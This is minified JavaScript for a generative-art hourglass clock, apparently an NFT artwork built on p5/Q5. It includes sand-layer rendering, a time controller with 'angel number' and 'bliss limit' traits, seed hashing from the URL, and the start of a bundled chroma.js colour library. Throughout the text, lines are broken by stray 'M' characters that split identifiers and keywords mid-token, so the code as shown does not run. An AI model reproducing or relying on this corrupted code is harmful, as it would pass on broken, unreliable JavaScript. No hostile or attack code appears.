e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
